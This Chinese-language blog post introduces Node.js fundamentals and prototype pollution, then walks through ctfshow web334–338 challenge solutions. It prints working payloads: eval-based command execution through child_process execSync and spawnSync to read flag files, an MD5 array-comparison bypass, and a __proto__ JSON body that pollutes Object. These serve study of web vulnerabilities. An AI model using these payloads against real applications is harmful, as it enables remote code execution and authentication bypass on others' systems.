前言
最近刷题刷到一个关于原型链污染的,想着之前学长琢磨过这些东西,刚好我最近又闲,就学习一下node.js的原型链污染,顺便了解一下node.js。
node.js基础
简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。
这里就只讲解一下后续写题会涉及到的一些node.js的基础
node.js 允许用户从NPM服务器下载别人编写的第三方包到本地使用
这就像python 一样pip下载包以后,通过import引入,而node.js是通过require引入的。
同步和异步
Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。
解释一下同步和异步,就像我们常说的一心二用一样,异步就是我们的一心二用,一边吃饭,一边看电视,而同步就是,吃完饭再看电视。
简单的说就是:
当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容
fs模块
node.js的文件操作模块,我们本地建立一个sd.txt
它的同步函数:readFileSync,异步函数:readFile
var fs = require("fs");
// 异步读取
fs.readFile('sd.txt', function (err, data) {
if (err) {
return console.error(err);
}
console.log("异步读取: " + data.toString());
});
// 同步读取
var data = fs.readFileSync('sd.txt');
console.log("同步读取: " + data.toString());
console.log("程序执行完毕。");
输出:
同步读取: wdwdwdw
文件读取实例
程序执行完毕。
异步读取: wdwdwdw
文件读取实例
child_process模块
child_process提供了几种创建子进程的方式
异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。
其中的一些函数,在一些情况下,可以导致命令执行漏洞,后面写题时候会用到
其中,JavaScript的继承关系并非像Java一样,有父类子类之分,而是通过一条原型链来进行继承的。
接下来我来讲一下我理解的原型链
原型链
在了解原型链之前,先了解两个关键字。
prototype
在JavaScript中,prototype对象是实现面向对象的一个重要机制。
它是函数所独有的,它是从一个函数指向一个对象 它的含义是函数的原型对象,也就是这个函数(其实所有函数都可以作为构造函数)所创建的实例的原型对象
这里直接举个例子
function Food(bar,bar1,bar2) {
this.bar = 1;
this.bar1=5;
}
let food = new Food();
Food.prototype.bar2=6;
console.log(food.bar1);
console.log(food.bar2);
//5
//6
可一看到,我们可以通过prototype属性,指向到这个函数的原型对象中然后创建bar2,赋值为6,之后我们用food作为Food的继承类,这个food就拥有bar2的属性。
proto
在实例化后,就不能通过prototype访问其原型对象了,而且prototype是函数特有的,那我们可以通过proto来访问他的原型对象
它是对象所独有的,proto属性都是由一个对象指向一个对象,即指向它们的原型对象(也可以理解为父对象)
所以经过了解,我们可以得出这么的结论
Food.prototype===food.__proto__
function Food(bar,bar1,bar2) {
this.bar = 1;
this.bar1=5;
}
let food = new Food();
console.log(Food.prototype===food.__proto__);
然后我们来正式了解什么是原型链
原型链
我们先看如下代码代码
function Food() {
this.bar = 1;
this.bar1=5;
}
function food(){
this.bar=2;
}
food.prototype = new Food();
let food1 = new food();
console.log(food1.bar);
console.log(food1.bar1);
food类继承Food的bar1属性
而我们输出实例化food1的bar1的时候,它的查找过程是这样的
1.先查找父对象是否拥有这个属性,如果没有
2.在实例化类的proto中查找,又因为Food.prototype===food.__proto__
,所以在Food类里找到bar1
然而它的查找过程入下图所示
如果没有找到,就会一直向上一级的.proto进行查找,直到null
这种类似链的结构,被称为原型链
原型链污染
这里我直接用p神的代码进行解释了
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
可以看到最后的空的zoo也拥有了bar的属性
我们输出zoo.bar的时候,node.js的引擎就开始在zoo中查找,发现没有,去zoo.proto中查找,即在Object中查找,而,我们的foo.proto.bar = 2,就是给Object添加了一个bar属性,而这个属性则被zoo继承。
这种修改了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染。
实战
知识点中是要与题目串联的,前几题都是node.js的一些别的漏洞,帮助理解node.js相关题型的解法。
ctfshow web334
开启题目,给了两段代码
//login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
//user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
粗略的看两眼的代码,可以发现,只要登录,就会有flag,登陆账号密码是{username: 'CTFSHOW', password: '123456'}
,但是尝试登陆的时候
发现不对劲,有猫腻,然后扭头,仔细看了看代码
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
发现了这个toUpperCase()
,而且name!=='CTFSHOW'
,所以只能ctfshow/Ctfshow
不全为大写字母都行。
ctfshow web335
开启环境
看到eval,猜测是eval命令执行
去百度搜索一下,找一个payload尝试一下
用child_process模块的 exec 执行命令
?eval=require('child_process').exec('ls');
回显不对劲,就没思路了,最后看了羽师傅的wp和别的师傅解释
猜测其代码为代码为eval('console.log(xxx)')
涉及同步和异步的问题我们使用的exec是异步进程,在我们输入ls,查取目录时,就已经eval执行了,所以我们要使用创造同步进程的函数
第一种方法
require('child_process').execSync('ls')
require('child_process').execSync('cat fl00g.txt');
或者用羽师傅的payload:
?eval=require(“child_process”).spawnSync(‘ls’).stdout.toString()
?eval=require( ‘child_process’ ).spawnSync( ‘cat’, [ ‘fl001g.txt’ ] ).stdout.toString()
方法二
参考Y4师傅的
global.process.mainModule.constructor._load('child_process').exec('calc')
ctfshow web336
依旧是eval
被过滤了,使用羽师傅的payload试试
羽师傅的可以
ctfshow web337
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
给了提示
对某字符进行md5加密,然后get,a和b,需要a不等于b,但是md5加密后相等
这里可以用数组绕过md5的比较
payload
a[i]=1&b[i]=2
ctfshow web338(原型链污染)
终于到原型链污染了
给了源码,跟第一关一样的登录框。
找到login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
utils.copy(user,req.body);
,这里就是突破口,通过给Object添加ctfshow的属性,使 if(secert.ctfshow==='36dboy')
返回ture即可
payload{"username":"asd","password":"asd","__proto__":{"ctfshow":"36dboy"}}
总结
初次接触node.js,别的漏洞还有很多,道阻且长,冲冲冲!
参考
https://m0re.top/posts/63e48fc9/
https://blog.csdn.net/miuzzx/article/details/111780832?spm=1001.2014.3001.5501
https://blog.csdn.net/solitudi/article/details/111669500
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
https://www.runoob.com/nodejs/nodejs-tutorial.html